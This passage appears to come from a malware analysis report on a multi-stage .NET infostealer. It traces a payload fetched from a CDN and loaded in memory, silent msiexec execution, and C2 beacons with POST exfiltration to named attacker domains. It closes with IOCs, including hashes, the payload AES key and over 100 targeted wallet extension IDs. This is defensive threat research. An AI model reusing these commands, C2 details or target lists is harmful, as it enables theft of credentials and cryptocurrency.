GET https://main45.b-cdn.net/new26/new30h.jar → 768,016 bytes

The decrypted assembly is loaded and executed entirely in memory using [Reflection.Assembly]::Load($b).EntryPoint.Invoke($null, @())—the binary is never written to disk

After both payloads are staged, a final status beacon is sent to the C2 acknowledging successful installation:

GET statmanagers3.com/?status=install → 200 OK

• The stage-2 MSI is then silently executed via a trusted system binary

msiexec.exe /i “C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCoreB.msi” /qn /norestart

Stage 3 — In-Memory .NET Implant (we4ftg.exe / new30h.jar Decrypted)

File: we4ftg.exe
SHA256: 5062d43c6c8486b263de5a9c6da60e4ff2e4a184f85d655d5d5f7553842f643e
AssemblyVersion: 432.0.4.0 | Target Framework: .NETFramework 4.8

The decrypted assembly is a full-featured infostealer and cryptowallet harvester

The binary is protected with .NET Reactor (trial version dated 2026-03-12), which applies various obfuscation and encryption techniques to discourage static analysis.

The binary was successfully dumped from memory by running it in dnSpy with breakpoints set on VirtualAlloc, Debugger.IsAttached, VirtualProtect, and TimeSpan, then using System Informer to monitor JITmethod loading and create a full process dump once method loading stabilized.

• Upon execution, the implant connects to a distinct C2 endpoint separate from Stage

2:

POST dns-providersa2[.]com/check
Headers: X-ujxblofszd: NEW-4V | X-tdzkanugxi: oljwe4y98
→ 403 Forbidden (sandbox egress filtered)
→ 418 I'm a teapot (observed in first live execution)

The 418 response functions as a C2 "ready" signal.

• Following a successful 418 response, the implant immediately exfiltrates system re­

connaissance data via a POST to /upload:

POST dns-providersa2.com/upload
Content-Type: application/octet-stream | Content-Length: 448

• The implant contains a hardcoded enumeration of browser profile paths covering over 30 Chromium-based browsers, Firefox/Waterfox, and others. It silently launches Chrome and Edge with no sandbox (--no-sandbox) to access profile data directories.

Targeted data includes:

• Saved credentials (encrypted password databases)
• Browser cookies (targeting session tokens)
• Local State files (required to decrypt Chromium AES-GCMmaster keys)
• Firefox logins.jsonparsed via FirefoxJsonParser.ParseLogins()

Targeted browsers include:

• Chrome, Edge, Opera, Opera GX, Brave, Vivaldi, CocCoc, Slimjet, Epic, Privacy Browser,Torch,Maxthon, CentBrowser, Iridium, SRWare Iron, Chromium, and over 15 additional variants.

The sample contains indicators implying that it can perform an exhaustive crypto-wallet extraction targeting both desktop wallet applications and browser-based wallet extensions. Desktop wallets targeted include:

• Exodus, Atomic, Electrum, Electrum-LTC, ElectronCash, Bitcoin Core (wallet.dat), Ethereum keystore, MultiBit, MultiBitHD, Armory, Jaxx/Jaxx Liberty, Ledger Live, Coinomi, Guarda, DashCore, Wasabi, Daedalus Mainnet, Coinbase

Browser ExtensionWallets (60+):

• MetaMask (Chrome & Edge & Firefox), 1Password, Phantom, Coinbase Wallet, Trust Wallet, Binance Wallet, Yoroi, Nami, Keplr, Solflare, Backpack, OKX, TronLink, Ronin Wallet, Argent X, Braavos, Leap Wallet, Safepal, LastPass, Bitwarden, Petra, UniSat, Rainbow, Exodus Web3, Polkadot.js, Talisman, Crypto.com DeFiWallet,Terra Station, SubWallet, and dozens of others across Solana, Cosmos, Aptos, Sui, TON, XRPL, Cardano, and EVM ecosystems.

IOCs

Indicator	Value
File Name_a	b87f0bdbd165da304157ea51e8d1fdf4cf91962e529247932e0876649db31cf3.msi
File Name_b	MicrosoftEdgeUpdateTaskMachineCoreB.msi
File Name_c	new30h.jar
File Name_d	we4ftg.exe
SHA1_a	5b6b28ab9130c81dc6bad6a62c7b1945bf7c6f3c
SHA1_b	6baa66fd3a77e3ccac69c97884ed8cb381b2ffb4
SHA1_c	2fc48d467f7e8421357003c31da0c1ac90519586
SHA256_a	b87f0bdbd165da304157ea51e8d1fdf4cf91962e529247932e0876649db31cf3
SHA256_b	674476f4d330270fad239a47fc0c4806b17675be074619d4125e46673581d6b6
SHA256_c	ac7a644b79b6e1d1cf33ff39be243e484b4110a7a749d1179a7c9f22538ba38c
Decrypted_SHA1_c	e97b13ee34b33e37a37c3b1222c60f9bd3aa97c2
Decrypted_SHA256_c	5062d43c6c8486b263de5a9c6da60e4ff2e4a184f85d655d5d5f7553842f643e
MD5_a	1bc593da9be19605b4855d1781309b33
MD5_b	4fbe9a06ae1992584eafd53bb5b2ef77
MD5_c	3410694db369a8cbfada2ff4fd36aefb
MD5_d	f4ad467cf1d2865767e1fae6dae8fac0
URL	statmanagers3[.]com
URL	main45[.]b-cdn[.]net
URL	dns-providersa2[.]com
Campaign Key	9iwuerfszxlxc
Campaign ID or Tag	Barto_SCP_3008
	/new26
Payload AES Key	2B7E151628AED2A6ABF7158809CF4F3C762E7160F38B4DA16C940A258F4A89C7
Payload AES IV	000102030405060708090A0B0C0D0E0F
	oljwe4y98
	NEW-4V
	Z6jJrulLrbaNsjZoHa.dnX15iI8d9CWbqFR4v
	RXlqpgakbYikItbIWCI

Targeted wallet extension IDs

Wallet / extension	Extension ID
MetaMask	nkbihfbeogaeaoehlefnkodbefgpgknn
1Password	aeblfdkhhhdcdjpifhhbdiojplfjncoa
Braavos	jnlgamecbpmbajjfhmmmlhejkemejdma
Argent X	dlcobpjiigpikoobohmabehhmhfoodbb
Coinhub	jgaaimajipbpdogpdglhaphldakikgef
Leap Wallet	fcfcfllfndlomdhbehjjcoimbgofdncg
Atomic Ext	gjnckgkfmgmibbkoficdidcljeaaaheg
Safepal	lgmpcpglpngdoalbgeoldeajfclnhafa
LastPass	hdokiejnpimakedhajhdlcegeplioahd
Ronin Wallet	fnjhmkhhmkbjkkabndcnnogagogbneec"
MultiversX Wallet	dngmlblcodfobpdpecaadgfbcggfjfnm
XVerse Wallet	idnnbdplmphpflfnlkomgpfbpcgelopg
ICONex	flpiciilemghbmfalicajoolhkkenfel
Temple	ookjlbkiijinhpmnjffcofjonbfbgaoc
TezBox	mnfifefkajgofkcjkemidiaecocnkjeh"
Hycon Lite Client	bcopgchhojmggmffilplmbdicgaihlkp
ZilPay	klnaejjgbibmhlephnhpmaofohgkpgkd
Coin98	aeachknmefphepccionboohckonoeemg@
Cyano	dkdedlpgdmmkkfjabffeganieamfklkm
Byone	nlgbhdfgdhgbiamfdfmbikcdghidoadd
OneKey	jnmbobjmhlngoefaiojfljckilhhlhcj
Solflare	bhhhlbepdkbapadjdnnojkbgioiodbic
Magic Eden	mkpegjkblkkefacfnmkajcjmabijhclg
Havah Wallet	cnncmdhjacpkmjmkcafchppbnpnhdmon
Sui Wallet	opcgpfmipidbgpenhmajoajpbobppdil
Venom Wallet	ojggmchlghnjlapmfbnjholfjkiidbch
Trust Wallet	egjidjbpglichdcondbcbdnbeeppgdph
MetaMask Edge	ejbalbakoplchlghecdalmeeeajnimhm
TronLink	ibnejdfjmmkpcnlpebklmnkoeoihofec
OKX	mcohilncbfahbmgdjkbpemcciiolgcge
Binance Wallet	fhbohimaelbohpjbbldcngcnapndodjp
Yoroi	ffnbelfdoeiohenkjibnmadjiehjhajb
Math	afbcbjpbpfadlkmhmclhkeeodmamcflc
Coinbase	hnfanknocfeofbddgcijnmhnfnkdnaad
EnKrypt	kkpllkodjeloidieedojogacfhpaihoh
Wombat	amkmjjmmflddogmhpjloimipbofnfjih
NeoLine	agjpcllnfffaeohgjghnheapbejnbpjg
Rabby	acmacodkjbdgmoleebolmdjonilkdbch
Martian	efbglgofoippbgcjepnhiblaibcnclgk
Bitwarden	nngceckbapebfimnlniiiahkandclblb
Nami	lpfcbjknijpeeillifnkikgncikgfhdo
Petra	ejjladinnckdgjemekebdpeokbikhfci
ExodusWeb3	aholpfdialjgjfhomihkjbmgjidlcdno
Polkadot.js	jojhfeoedkpkglbfimdfabpdfjaoolaf
Talisman	fijngjgcjhjmmpcmkeiomlglpeiijkld
Crypto.com	hifafgmccdpekplomjjkcfgodnhcellj
Terra Station	aiifbnbfobpmeekipheeijimdpnlpgpp
Keplr	dmkamcknogkgcdfhhbddcghachkejeap
Sollet	pjligelplfpbmdlachdpefnfdokedfea
Auro	cnmamaachppnkjgnildpdmkaakejnhae
GAuth Authenticator	ilgcnhelpchnceeipipijaljkblbcobl
Phantom	bfnaelmomeimhlpmgjnjophhpkkoljpa
UniSat	ppbibelpcjmhbdihakflkdcoccbgbkpo
Rainbow	opfgelmcmbiajamepnmloijbpoleiama
Bitget Wallet	jiidiaalihmmhddjgbnbgdfflelocpak
Ctrl Wallet	hmeobnfnfcmdkdcmlblgagmfpfboieaf
Mango Wallet	jiiigigdinhhgjflhljdkcelcjfmplnd
Keeper Wallet	lpilbniiabackdjcionkobglmddfbcjo
Koala	lnnnmfcpbkafcpgdilckhmhbkkbpkmid
IOTA Wallet	iidjkmdceolghepehaaddojmnjnkkija$
Fewcha Move Wallet	ebfidpplhabeedpnhjnobghokpiioolj
PWR Wallet	kennjipeijpeengjlogfdjkiiadhbmjl
Sui Wallet 2	khpkpbbcccdmmclmpigdgddabeilkdpd
EVER Wallet	cgeeodpfagjceefieflmdfphplkenlfk
Miden Wallet	ablmompanofnodfdkgchkpmphailefpb
Surf Wallet	emeeapjkbcbpbpgaagfchmcgglmebnen
Ultra Wallet	kjjebdkfeagdoogagbhepmbimaphnfln
Nautilus Wallet	gjlmehlldlphhljhpnlddaodbjjcchai
Compass Wallet	anokgmphncpekkhclmingpimjmcooifb
Gate Wallet	cpmkedoipcpimgecpmgpldfpohjplkpp
Parti Wallet	gjkdbeaiifkpoencioahhcilildpjhgh
Flow Wallet	hpclkefagolihohboafpheddmmgdffjm
HOT Wallet	mpeengabcnhhjjgleiodimegnkpcenbk
Stargazer Wallet	pgiaagfkgcbnmiiolekcfmljdagdhlcm
Tonkeeper	omaabbefbmiijedngplfjmnooppbclkk
Leather	ldinpeekobnhjjdofggfgjlcehhmanlj
Fuelet Wallet	bifidjkcdpgfnlbcjpdkdcnbiooooblg
FastSet Wallet	ghibjknldlhfffnckpencpcjbhefblbe
ONTO Wallet	ifckdpamphokdglkkdomedpdegcjhjdp$
Ambire Web3 Wallet	ehgjhhccekdedpbkifaojjaefeohnoea
Meteor Wallet	pcndjhkinnkaohffealmlmhaepkpmgkb&
ASI Alliance Wallet	ellkdbaphhldpeajbepobaecooaoafpg
Crossmark Wallet	canipghmckojpianfgiklhbgpfmhjkjg
Leo Wallet	nebnhfamliijlghikdgcigoebonmoibm
Glass Wallet	loinekcabhlmhjjbocijdoimmejangoa
Kaia Wallet	jblndlipeogpafnldhgmapagcccfchpi
Sender Wallet	epapihdplajcdnnkdeiahlgigofloibg
GET Wallet	infmfhepglaadcfmcebnpeoaogbcmjig
Fearless Wallet	nhlnehondigmgckngjomcpcefcdplmgc
ROSE Wallet	ppdadbejkmjnefldpcdjhnkpbjkikoip
TAP Wallet	blcaacmeglnfblclocdgaomhopnfobof
StarKey Wallet	hcjhpkgbmechpabifbggldplacolbkoh
Hana Wallet	jfdlamikmbghhapbgfoogdffldioobgl
Bybit Wallet	pdliaogehgdbhbnmkklieghmmjkpigpa
SubWallet	onhogfjeacnfoofkfgppdlbmlmnplgbn
ION Wallet	hfajfpbjlmembfdlhakjmefnbhjddofb
TON Wallet	nphplpgoakhhjchkkhmiggakijnkhfnd
G.U. Wallet	nfinomegcaccbhchhgflladpfbajihdf
OORT Wallet	cflgahhmjlmnjbikhakapcfkpbcmllam
Casper Wallet	abkahkcbhngaebpcgfmhkoioedceoigp
Alby	iokeahhehimjnekafflcihljlcjccdbe
xBull Wallet	omajpeaffjgmlpmhbfdjepdejoemifpe
Mojito Wallet	hbnpcbochkgodkmmicbhfpmmkhbfbhim
TokenPocket	mfgccjchihfkkindfppnaooecgfneiii
Wigwam	lccbohhgfkdikahanoclbdmaolidjdfl
MyTonWallet	fldfpgipfncgndfolcbkdeeknbbbnhcc
Puzzle	fdchdcpieegfofnofhgdombfckhbcokj
Typhon Wallet	kfdniefadaanbjodldohaedphafoffoh
CLV	nhnkbkgjikgcigadomkphalanndcapjk
Zeal Wallet	heamnjbnflcikcggoiplibfommfbkjpj
Jupiter Wallet	iledlaeogohbilgbfhmbgkgmpplbfboh
Radix Wallet	bfeplaecgkoeckiidkgkmlllfbaeplgm
Klever Wallet	ifclboecfhkjbpmhgehodcjpciihhmif
Komodo Wallet	dgiehkgfknklegdhekgeabnhgfjhbajd"
XPLA Vault Wallet	ocjobpilfplciaddcbafabcegbilnbnb
Razor Wallet	fdcnegogpncmfejlfnffnofpngdiejii
VESPR Wallet	bedogdpgdnifilpgeianmmdabklhfkcn
Portal DEX	ieldiilncjhfkalnemgjbffmpomcaigi
eckoWALLET	bofddndhbegljegmpmnlbhcejofmjgbn
Beam Web Wallet	ilhaljfiglknggcoegeknjghdgampffk
Parallel Wallet	jbkgjmpfammbgejcpedggoefddacbdia
HaHa Wallet	andhndehpcjpmneneealacgnmealilal
HashPass Wallet	flhpobcpjeilaheadnpdkkinakogbdhb
Pali Wallet	mgffkfbidihjpoaomajlbgchddlicgpn
CoinWallet	oafedfoadhdjjcipmcbecikgokpaphjk
Mavryk Wallet	cgddkajmbckbjbnondgfcbcojjjdnmji
Noone Wallet	bgfhmafjampalkbjicjcjiikhlaggdnm
Zerion Wallet	klghhnkeealcohjjanjjdaeeggmfmlpl
OsmWallet	kmphdnilpmdejikjdnlbcnmnabepfgkh&
Cosmostation Wallet	fpkhgmpbidmiogeglndfbkegfdlnajnf
DPal Wallet	lmkncnlpeipongihbffpljgehamdebgi
UMI Wallet	einhphiffjfjogeofkpclobkcgennocm
Bitway Wallet	enbnpdbkfjdnhlepfeaaahegcggljhdh
LuckyCoin Wallet	hfbglbedehonhmcljhlomlbjgmblieip
Pontem Wallet	phkbamefinggmakgklpkljjmgibohnba

Polymesh
Nabox:
nkngmmbpbneeakbhmallacbfifgbd
bhghoamapcdpbohphigoooaddinpkbai

Other strings

pomkk
pomkk
X-uarblpomkk
mbjvu
mbjvu
X-qhpkambjvu
dns-providersa2.com/check
dns-providersa2.com/upload
<RSAKeyValue><Modulus>zlUkMywGKDNbeJxH/zDotBK2KGsq3+fCyOXuaEHc38tL8CEymadHC4IvnPJ4ZHsuEIho1JVEVlJXYmPAkmiAboHJvV8Wnei2yfvn6tWX/
Cnz7brgK+XlQVtVXlGUfU/ygy3kahGh10KW3yBgqs8Nuz7UlYBB7QLjBzyjFFy4chM=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>

Some References\Tools

• <https: data-preserve-html-node="true"//www.sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign>

• <https: data-preserve-html-node="true"//www.advancedinstaller.com/>

• <https: data-preserve-html-node="true"//learn.microsoft.com/en-us/windows/win32/msi/orca-exe>

Detect It Easy, ExEInfo PE, dnSpy, JupyterLab, CyberChef, .NETReactorSlayer, de4dot, x64dbg, PEstudio, Procmon, System Informer, Any. Run, VirusTotal, MalwareBazaar, Malcat, Perplexity, Sublime Text, Wireshark

Fin.